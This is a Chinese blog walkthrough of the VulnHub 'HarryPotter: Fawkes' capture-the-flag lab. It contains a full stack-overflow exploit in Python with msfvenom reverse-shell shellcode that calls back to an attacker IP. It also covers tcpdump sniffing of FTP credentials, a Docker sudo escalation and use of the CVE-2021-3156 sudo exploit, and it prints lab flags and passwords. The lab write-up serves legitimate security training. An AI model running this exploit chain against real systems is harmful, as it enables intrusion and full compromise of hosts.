【VulnHub靶场】——HARRYPOTTER第三部: FAWKES

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,web安全

每日emo:第18次梦见

 

今天的博客内容是HARRYPOTTER: FAWKES教程(困难难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索HARRYPOTTER: FAWKES就能下载今天的靶场,也可以找我拿,开始对今天靶场的介绍 

这是哈利波特vm系列靶场的第三个靶场,总共有三个靶场,其中隐藏了8个魂器,前两部的靶场中我们已经找到了隐藏的5个魂器,今天这个靶场中隐藏了三个,意思就是今天的靶场有三个flag,话不多说我们来仔细瞧瞧

靶场地址HarryPotter: Fawkes ~ VulnHub

目录

一:攻击准备

二:信息收集 

1.http服务探测

2.ftp服务探测

三:信息利用 

1.缓存区溢出漏洞 

2.edb-debugger调试

1.关闭防护

2.安装edb-debugger

3.开始调试

4.确认漏洞

5. 寻找溢出位置

四.渗透实操

1.生成payload

2.构造exp

3.普通权限

4.初步提权

5.tcpdump流量分析

6.最终提权 


一:攻击准备

虚拟机下载下来直接在vbox导入就可以,如果出现了报错,就把启用usb控制器关掉就可以正常打开了 

​ 这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),虚拟机管理设备用vm和virtual均可,我这里就用virtual来给大家演示了,如下面这样就是搭建完成了,具体搭建过程就不多讲了,不懂得也可以私信问我 

  (因为我这是校园网,有防护所以c段不同,这里都用桥接模式即可,而且靶机也显示了ip地址,不一定要跟我一样,只要能ping通就可以进行靶场操作了)

二:信息收集 

这里看到,我的kali攻击机的ip是172.21.43.89,而目标机器的ip是172.21.48.36,既然知道了对方的ip,我们直接用nmap扫描工具详细扫描一下,扫描结果如下:

​以看到成功探测到了21,22,80,2222,9898,下面我们就来尝试利用这些端口做进一步的渗透

1.http服务探测

 上方的扫描结果可以看到目标开启了80端口,并且运行的是http服务,说明目标开启了网页服务,我们直接使用浏览器访问目标的ip看看有没有什么有用的信息

 可以看到只有一张图片,而且f12开发者页面也没有什么有用的信息,通常靶场出现的图片都带有隐写术的使用,但是本题经过测试并没有,所以还是老规矩直接目录扫描,这里我们使用dirsearch目录遍历工具来探测

 命令如下(把目标ip换成你们自己靶机的)

dirsearch -u "http://172.21.81.133" -e * 

结果如下

可以看到并没有什么有用信息,所以80端口的探测只能先暂停了 

2.ftp服务探测

 根据上面我们扫描出来的信息可以看到目标的ftp服务存在匿名登录漏洞,我想我们应该可以从这个漏洞入手

FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass  

经过登录尝试发现目标的ftp服务用户名为anonymous,密码为空, 

​ 

 现在我们已经成功登陆了目标的ftp服务,现在我们来看看作者留给了我们什么信息

 可以看到该服务下有一个server_hogwarts文件(暂时不知道啥用),老规矩,我们用get命令下载到本地,由于我们不知道这个文件的作用,所以我们用file命令来查看文件,结果如下

可以看到这是一个基于linux的elf可执行文件,既然是可执行文件,,那我们就执行试试,所以我们先给这个文件一个执行权限,再执行该文件,结果如下

 可以看到执行后并没有报错或爆出有效信息,但是却一直在运行,所以有没有可能是在后台或进程运行呢?所以我们来看看系统进程,命令如下

ps -aux | grep server
显示名字包含server的所有进程

ss -pantu | grep server
用ss查看已经建立的并且名字带有server的连接信息

注:

* ps命令多用来查看进程状态,平时用的也比较多,就不多讲了

* ss 是 Socket Statistics 的缩写。ss 命令可以用来获取 socket 信息,对ss命令感兴趣的同志可以点这里查看

查看到的结果如下图:

 可以看到这个server_hogwarts这个进程正在运行中。并且运行的端口号和我们在扫描服务版本时同样是9898端口。

根据上面nmap扫描出来的信息可以发现9898端口运行的服务是monkeycom,根据我查阅的资料发现monkeycom是一种比较老的服务器,但是我还是不太理解,我们换个思路,既然server_hogwarts程序运行在9898端口,那我们就直接监听9898端口,看看有什么效果

因为我们正在运行server_hogwarts程序,所以我们直接用nc工具监听本地的9898端口即可 

 可以看到是一个输入命令的页面,提示我们输入魔法指令,还给出了常用的魔法指令,但是我们再输入后并没有得到有用的信息,但因为这个是一个输入点,所以我们可以考虑输入点常见的漏洞——缓存区溢出漏洞

三:信息利用 

1.缓存区溢出漏洞 

 缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

缓存区溢出漏洞最重要的就是找出缓存区溢出的位置,这里我们使用edb-debugger调试工具动态测试server_hogwarts进程并找出缓存区溢出漏洞的溢出位置

2.edb-debugger调试

edb-debugger是一个跨平台的 AArch32 / x86 / x86-64 调试器,具体使用步骤如下

1.关闭防护

我们是通过ftp服务下载server_hogwarts到本地来调试,目的就是找出它的缓存溢出位置,但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。

步骤:如下图,cd到/proc/sys/kernel目录下把randomize_va_space改成0即可

2.安装edb-debugger

 安装命令如下

apt install edb-debugger

安装之后如下图,输入edb即可启动并打开调试界面

3.开始调试

注意:到这里时前面的server_hogwarts文件需要保持运行状态,而且9898端口的连接也不要断开

点击左上角的file——attach

 找到我们要调试的进程,就是刚才我们运行的server_hogwarts选中点击ok即可

 再点击运行(就是我用红圈划出来的按键)即可开始调试这个进程

4.确认漏洞

因为我们要来调试缓存区溢出漏洞, 所以就需要大量的数据,这里我们先用python生成500个A来试试,生成命令如下:

python -c "print('A'*500)"

把生成的500个A复制到刚才nc监听9898端口的输入位置,回车再进行分析

可以看到这里出现了报错,提示我们0×41414141的内存位置出现了错误,这时说明已经调试到了错误的位置,即确实存在代码溢出漏洞,我们点击ok,详细查看一下错误信息

 注:这里的EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令, 

攻击思路:我们可以通过修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。如果ESP的指令是反弹shell的指令,就可以反弹shell。

5. 寻找溢出位置

既然确认了目标存在缓存区溢出漏洞,就需要找到缓存区溢出的位置,从而知道该从哪里插入攻击代码,同样的我们还是生成大量数据。

:这里就不能像上面一样都生成A了,因为数据如果都一样的话就不知道溢出的位置在哪里,我们需要通过报错的地方判断出溢出位置

这里我们使用msf生成500无规律排列的字符,代码如下

msf-pattern_create -l 500

重启edb,和上面同样的操作开启调试,此时将msf生成的无规律字符输入,此时页面如下

 此时的报错提示我们0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置,我们来找一下这个内存位置在输入区的位置

查询溢出位置

msf-pattern_offset -l 500 -q 64413764

 可以看到偏移量为112,所以64413764就是在113个位置,当然这里也可以再来验证一下,顺便让你们更深刻的理解一下EIP寄存器ESP寄存器的位置关系

老样子重启edb,用下面的命令生成一段调试代码,意思就是生成216个字符,前112个是A,然后是4个B,最后跟100个C

python -c "print('A'*112+'BBBB'+'C'*100)"

再用edb调试,结果如下

 再次看到报错信息,此时提示0×42424242位置有问题,而42正是B的16进制,说明没啥问题,此时点击ok查看EIPESP的内容,内容如下

可以发现EIP寄存器的内容是BBBB,ESP寄存器内容是CCCC 

再结合我们最开始的攻击思路,生成一段反弹shell的代码,并转化为16进制,放入ESP,再让EIP指向ESP,就可以强制执行ESP的代码了,也就是反弹shell的代码

但是这里我们不仅需要在ESP中放入payload,还需要让EIP指向ESP,那怎样指向呢?具体操作步骤如下

 在跳转设置中选中ESP->EIP,即将ESP的内存地址作为EIP的内容,这样就可以实现EIP指向ESP了,在左侧选择执行此操作的进程(注意要选择有执行权限的,就是r-x)

 此时点击FInd就会找到ESP的内存位置,选择jmp esp的内存地址,那就是我们要写入EIP的内容

 可以看到结果是08049d55,但是众所周知机器命令中需要反写,所以就是559d0408(两位为一个16进制),最后得出的16进制结果就是\x55\x9d\x04\x08,这就是我们需要写入EIP的内容

四.渗透实操

1.生成payload

这个生成的payload就是我们用来放进ESP并执行的反弹shell代码,但注意这里需要16进制的payload,我们直接使用msfvenom来生成就可以了,代码如下

msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.21.36.188 LPORT=4444 -b "\x00" -f python

注意这里的ip要换成你们自己的kali攻击机ip,这里的反弹shell端口随便定,只要不冲突都可以,生成结果如图

 生成的paylao如下

buf =  b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"

2.构造exp

上面我们已经成功获取payload,但并不是最终的payload,因为还要考虑缓存溢出位置的问题,并且这段代码不能作出攻击行为,所以我们还需要配合这个payload来写个python脚本,生成最终的payload并编写exp来攻击,最后生成的exp如下

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"

payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('172.21.81.133',9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

:这里connect连接的是靶机的9898端口 

新建一个python文件存放上面的代码

3.普通权限

先用nc监听最开始设置的反弹shell端口,再在本地执行我们生成的python文件,具体操作如下

1.用nc监听
nc -lnvp 4444
2.执行exp文件
./exp.py

结果如下 

 可以看到成功连接,是一个名为harry的普通用户,并且在家目录的harry目录下,成功发现隐藏文件.mycreds.txt,打开后发现是一段类似密码的字符串

HarrYp0tter@Hogwarts123

4.初步提权

 看到了类似密码的字符串,马上就联想到了前面探测出的22端口,并且harry用户名我们也知道了,尝试ssh登录,发现失败,但是最开始探测时,22端口运行的是ssh服务,但是还有一个2222端口运行的也是ssh服务,所以我们再尝试一下2222端口的ssh登录

成功登陆,尝试进一步信息收集

 但是进一步操作时却发现这台机器居然处于docker容器中,这无疑给我们加大了很多难度

但是在使用sudo -l时发现sudo命令的可执行者是ALL,就代表sudo存在配置问题,所以我们直接使用sudo -s成功拿到当前docker容器root权限

 成功在/root目录下发现隐藏文件horcrux1.txt文件,这是本关的第一个flag,内容如下:

 horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}

还发现了一个note.txt文件,内容如下

We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

 这段话大致意思就是提示我们去分析ftp服务上的流量

5.tcpdump流量分析

 我们用tcpdump流量分析工具来监听21端口上ftp服务的流量(因为刚才ip a命令只查看到了etho这一张网卡,所以我们猜测数据是基于这张网卡产生的),具体命令如下 

tcpdump -i eth0 port 21

根据截取到的流量可以看到,三次握手中发出的数据包含了账密,并且提示了我们这个账密用于登录,所以我们也成功拿到了账密 

账号:neville

密码: bL!Bsg3k

 老样子还是尝试通过ssh连接,但是这里用22端口的ssh就可以登录

 可以看到ssh成功登录,并且ip a命令回显了IP地址,确认了我们现在已经跳出了docker容器

 在家目录的neville目录下成功发现了第二个flag,内容如下:

horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}

6.最终提权 

 最开始尝试了常规提权方法,sudo提权,历史命令,反弹shell等操作提权,但均以失败告终,此时就只能从系统层面入手了,所以我们先对系统进行一次信息收集

可以发现这是一台debian10sudo的版本是1.8.27,我们上网搜索一下看是否存在漏洞 

 接着就是找exp,很幸运,在github上有针对该漏洞的exp,链接如下

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub

 直接在kali新建一个python文件,把代码复制上去,注意这个代码唯一需要修改的地方就是sudo的路径,也就是下方我划出来的位置,要改成跟目标sudo一样的路径,像下面这样就可以了

 因为此时exp文件在kali上,而我们需要目标执行这个exp文件,所以我们用nc将这个exp文件上传到目标机器

目标机器上执行的下面的操作(exp.py就是接收时文件的保存名)

nc -nvlp 4444 > exp.py

kali攻击机执行下面的操作(exploit.py就是刚才创建的python文件)

nc 172.21.81.133 4444 < exploit.py -w 1

 

执行结果如下: 

 可以看到成功提权,已经是root用户

第三个也就是最后一个flag在root目录下即可看见

 第三个flag内容为

Here is your last hocrux:horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}

到此这个靶场就打完了,哈利波特系列的三个靶场也都结束了,恭喜你成功击败了最后一个魂器! 

真的泪目,三个靶场一个比一个难,但对我来说确实收获很大,接触了很多以前不知道的知识,感谢自己没有放弃,坚持到了最后,同学们加油哇,respect!

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注